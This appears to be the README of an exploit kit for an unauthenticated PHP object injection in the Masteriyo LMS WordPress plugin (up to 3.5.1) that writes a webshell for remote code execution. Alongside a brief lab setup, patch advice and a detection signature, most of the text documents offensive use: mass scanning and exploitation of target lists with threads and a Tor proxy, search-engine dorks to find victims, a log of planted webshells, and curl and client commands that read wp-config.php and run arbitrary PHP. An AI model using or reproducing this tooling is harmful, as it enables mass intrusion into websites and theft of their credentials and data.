Masteriyo LMS 课程导入器(file 参数)中的未认证 PHP 对象注入可导致任意文件写入和远程代码执行。实验室端到端验证:在无任何凭据的干净 WordPress 上获得 uid=<UID>(www-data)。
learning-management-system <= 3.5.1 · 已修复:3.5.2# menu (jalur utama)
python3 poc.py
# satu target
python3 poc.py -u https://target # detect saja
python3 poc.py -u https://target --exploit # sampai RCE
# massal
python3 poc.py -l targets.txt --exploit --threads 20 --delay 0.3
菜单:1 单次扫描 · 2 单次利用 · 3 批量扫描 · 4 批量利用 · 0 退出。
可选标志:-U/-P 使用已有凭据(跳过自注册),
--proxy socks5h://127.0.0.1:9050、--timeout 60、--strict、--quiet、
--output out。
输出:out/results.jsonl(每个目标一行,flush+fsync)和
out/success.txt(每个 shell 一行)。
| 标签 | 含义 |
|---|---|
[SHELL] | OUTCOME_REACHED — webshell 已激活,id 可读取 |
[RCE] | 执行已验证 |
[VULN] | 触发已验证,结果尚未确认 |
[PATCHED] | 版本 >= 3.5.2(来自 readme.txt),在发送 payload 之前 |
[BLOCKED] | 端点拒绝(401/403/WAF) |
[SKIP] | 非目标 / 插件不存在 |
[ASSUMED] | 存在信号但无执行证据 |
[ERR] | 操作错误 |
[masteriyo_instructor_registration]。提交表单时不填密码字段 → 服务器
生成密码 → 用户 masteriyo_instructor 状态为 ACTIVE 并立即
登录(cookie wordpress_logged_in)。/wp-admin/admin-ajax.php?action=rest-nonce 或仪表盘)。masteriyo/v1/courses/import,JSON 中包含 postmeta = 序列化的
GuzzleHttp\Cookie\FileCookieJar。CourseImporter::set_post_metas() → maybe_unserialize() → __destruct() →
file_put_contents() 在 wp-content/uploads/masteriyo/ 中写入 PHP。?c=<base64 cmd> → uid=<UID>(www-data)。完整细节 + 补丁分析:notes/root-cause.md。
poc.py tool utama (menu + flag)
tools/masteriyo_payload.py generator payload (gadget FileCookieJar, varian s:/S:)
lab/docker-compose.yml lab rentan (WP + MySQL + Masteriyo 3.5.1) port 8280
lab/docker-compose.patched.yml kontrol negatif (3.5.2) port 8281
src/x3.5.1, src/x3.5.2 source tree untuk diff
notes/root-cause.md analisa root cause, sink coverage, kontrol negatif
CVE-2026-124990-report.md laporan
从零开始完整复现——三个步骤:
cd lab
./setup/download-plugins.sh # unduh Masteriyo 3.5.1 (rentan) + 3.5.2 (patched) dari wp.org
docker compose -p m124990 -f docker-compose.yml up -d # rentan, :8280
docker compose -p m124990p -f docker-compose.patched.yml up -d # patched, :8281
./setup/provision.sh . m124990 8280 # WP install + plugin aktif + halaman registrasi
./setup/provision.sh . m124990p 8281 # idem untuk kontrol negatif
必须使用不同的 -p:两个文件使用相同的服务名,如果没有 -p,compose 会删除另一个项目的容器。
provision.sh 设置漏洞利用的实际前提条件:
masteriyo_settings.general.registration.enable_instructor_registration=true、
accounts_page.display.enable_instructor_apply=true、
masteriyo_registration_is_generate_password=yes,以及页面
instructor-registration(短代码 [masteriyo_instructor_registration])
和 account。
测试:
python3 poc.py -u http://127.0.0.1:8280 --exploit # -> [SHELL]
python3 poc.py -u http://127.0.0.1:8281 --exploit # -> [PATCHED]
3.5.1 (vulnerable) [SHELL] uid=<UID>(www-data) 3/3 run berturut-turut
3.5.2 (patched) [PATCHED] version 3.5.2 tidak ada file, tidak ada shell
导入 3.5.2 版本仍然返回 {"status":"completed"}——导入成功并不构成证据。
证据只有:文件已写入 + 每次尝试的标记 + id 可读取。
更新到 3.5.2+。如果暂时无法更新:关闭
general.registration.enable_instructor_registration,并将 instructor 注册
限制为手动批准的角色(不要让自助注册产生活跃的 instructor)。
检测:向 masteriyo/v1/courses/import 发送 POST 请求,请求体包含
O:31:"GuzzleHttp\Cookie\FileCookieJar"。
衡量 dork 中有多少主机真正是 RCE 候选——无需发送 payload。
python3 tools/funnel.py # menu 1/2/3/4/0
python3 tools/funnel.py -u https://site.tld
python3 tools/funnel.py -i hosts.txt --threads 20 --json out.json
阶段:reachable → plugin → 版本 <3.5.2 → REST → 注册页面+nonce
→ HIGH_HIT。判定:HIGH_HIT VULN PATCHED ASSUMED PRO_ONLY NOT_FOUND BLOCKED ERR。
Dork + 数量统计:notes/fofa-dorks-and-hitrate.md。
密码不会通过 URL 发送。Shell 期望通过 POST 提交字段 p:
# manual, tanpa tool
curl -sk -c /tmp/ck -b /tmp/ck -d 'p=PASSWORD' 'URL_SHELL' # login (set cookie sesi)
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL' # identitas
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL?ls=1&d=/srv/htdocs' # daftar berkas
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL?read=wp-config.php' # baca berkas
# eksekusi kode PHP (base64 dari kode):
curl -sk -c /tmp/ck -b /tmp/ck "URL_SHELL?php=$(printf 'echo PHP_VERSION;' | base64 -w0)"
未登录的 GET 请求只返回 0xfay-auth —— 这是正常的,不是 shell 损坏。
可直接使用的客户端(无参数 = 菜单):
python3 tools/ws-client.py # menu 1-6
python3 tools/ws-client.py -u URL -p PASS # identitas
python3 tools/ws-client.py -u URL -p PASS --ls /srv/htdocs
python3 tools/ws-client.py -u URL -p PASS --read wp-config.php
python3 tools/ws-client.py -u URL -p PASS --get readme.txt # download
python3 tools/ws-client.py -u URL -p PASS --php 'echo PHP_VERSION;'
python3 tools/ws-client.py -u URL -p PASS # shell interaktif
URL + password terakhir tersimpan di work/SHELL-FINAL.txt; menu membacanya
otomatis. Untuk mengganti target, isi manual saat diminta.
Catatan penting di target ini: sandbox memblokir fork, jadi perintah OS kosong.
Pakai --php (eval PHP) atau --ls/--read, bukan cmd/system.
python3 poc.py --cmd 'echo PHP_VERSION;' # pakai shell tersimpan
python3 poc.py --shell URL --shell-pass PASS # identitas
python3 poc.py --shell URL --shell-pass PASS --cmd '<php>' # satu perintah
python3 poc.py # menu -> 5 = shell console
菜单选项 5 会打开控制台:选择 URL(或按 Enter 使用已保存的 URL),然后直接输入 PHP 代码、!ls <dir>、!read <berkas>、:quit。
每个成功植入的 webshell 都会记录在 work/SHELLS.txt 中
(TAB 分隔列:URL、PASSWORD、HOST、UID):
https://host-a.example/0xfay_cmdXXXX.php passA host-a.example 33
https://host-b.example/0xfay_cmdYYYY.php passB host-b.example <UID>
菜单 5 显示带编号的列表,由操作员选择其中一项。
--cmd 使用第一个条目(或 work/CMDSHELL.txt,如果存在)。
python3 poc.py # menu -> 5 -> pilih nomor
python3 poc.py --cmd 'id' # shell pertama
python3 poc.py --cmd 'id' --color # paksa warna walau NO_COLOR
python3 poc.py --shell URL --shell-pass PASS --cmd 'whoami'
通过 tools/deploy_cmdkit.py 植入的 Shell 携带一个 PHP 原生命令解释器(在 OS exec 被阻止时自动使用):
id whoami groups pwd uname hostname uptime date env php ls cat head tail wc grep find curl echo help。